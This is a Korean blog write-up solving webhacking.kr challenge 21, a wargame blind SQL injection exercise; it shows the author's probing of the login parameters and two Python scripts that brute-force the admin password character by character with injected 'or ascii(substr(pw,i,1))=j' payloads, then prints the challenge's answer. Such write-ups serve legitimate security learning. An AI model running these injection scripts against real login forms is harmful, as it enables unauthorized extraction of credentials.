본문 바로가기

웹/webhacking.kr

webhacking.kr 21번

21번을 들어가면 화면처럼 그냥 대놓고 블라인드 sql 인젝션 문제라고 적혀있습니다. 그래서 이것저것 넣어보았습니다.

id, pw에 모두 guest을 넣은뒤 검색하면 url은 이렇게 바뀌고 login sucess라는 표시가 뜹니다. url을 보면 id와 pw모두 get 방식으로 값을 전달받는 방식으로 보입니다. 그래서 간단한 쿼리문을 넣어보면

wrong passord라는 표시가 뜹니다. 이렇게 뜨는 것으로 보아 아마 error 기반 blind sql injection이 아닐까 생각했습니다.

그래서 일단 비밀번호 길이로 삽질을 해본 결과

위 3가지의 결과와 다른 삽질을 통해 아마 해당 조건이 틀리다면 login fail 표시가 뜨고 만약 길이가 맞을 경우에는 wrong password가 뜨는 것 같았습니다. 그리고 url에서는 공백이 +로 대체되어서 들어가는 것 같았습니다. 제가 url에서 공백을 공백 그대로 넣어보니 결과값들의 차이가 있지 않았고, +로 바꾸었을 때(url에서 brute forcing을 하지 않고, 그냥 입력창에서 쿼리문들을 넣어보면 자동으로 공백이 +로 치환되긴 합니다. 그리고 부등호는 제대로 된 결과가 나오지 않았습니다. 이 부분도 코드 상에서 막아 놓은 것인지 정확하게는 모르겠지만 조건문에서 등호로만 제대로된 결과값을 얻을 수 있었습니다.

 

이렇게 삽질한 결과를 바탕으로 파이썬 코드로 정확한 비밀번호를 알아내보겠습니다. 아이디는 admin으로 특정지어도 될 것 같습니다.

import requests

url='https://webhacking.kr/challenge/bonus-1/index.php?id=admin&'
header={'Cookie':'PHPSESSID=sqge4qh5haviq2cdvg6hj6claf'}

pw=""
for i in range(1,37):
    for j in range(33,127):
        query = "pw='+or+ascii(substr(pw,{},1))={}+%23".format(i,j)
        result = requests.get(url+query, headers = header)
        if "wrong password" in result.text:
            print("pw:" ,pw)
            pw += chr(j)
            break

print(pw)

제가 처음 사용한 파이썬 코드입니다. 이 코드를 이용해서 문제를 문제를 풀게되면 아래와 같은 결과값이 얻을 수 있습니다.

이 결과값을 이용해서 입력하게 되면

로그인 실패가 뜨게 됩니다. 여기서 막혔습니다. 생각하다보니 쿼리문에서 id='admin이라고 고정을 안 해줘서 인가 싶어서 다시 코드를 수정해서 파이썬 코드를 돌려보았습니다.

import requests

url='https://webhacking.kr/challenge/bonus-1/index.php?id=admin&'
header={'Cookie':'PHPSESSID=sqge4qh5haviq2cdvg6hj6claf'}

pw=""
for i in range(1,37):
    for j in range(33,127):
        query = "pw='+or+id='admin'+and+ascii(substr(pw,{},1))={}+%23".format(i,j)
        result = requests.get(url+query, headers = header)
        if "wrong password" in result.text:
            print("pw:" ,pw)
            pw += chr(j)
            break

print(pw)

이렇게 결과가 나오게 되는데 제일 앞 글자가 다르게 나옵니다. 저는 앞의 id=admin 부분에 서 id=admin이라는 값이 고정되는 줄 알았는데 다른 인자로 전달되나 보니 쿼리문 자체에서 조건을 만들어줘야 하는 것 같습니다. 그리고 이 부분에서 다른 라업들을 조금 찾아보니 아마 결과확인용 id,pw인 guest,guest때문이지 않을까하는 글을 읽었습니다. 아마 db구조상 때문에 첫 글자의 글자가 다르게 나오는 것 같습니다.

 

이렇게 나온 결과인 id=admin, pw=there_is_no_rest_for_the_white_angel를 넣어주면 문제가 풀리게 됩니다.

' > webhacking.kr' 카테고리의 다른 글

webhacking.kr 25번  (0) 2021.02.17
webhacking.kr 24번  (0) 2021.02.17
webhacking.kr 19번  (0) 2021.02.06
webhacking.kr 17번  (0) 2021.02.06
webhacking.kr 16번  (0) 2021.02.06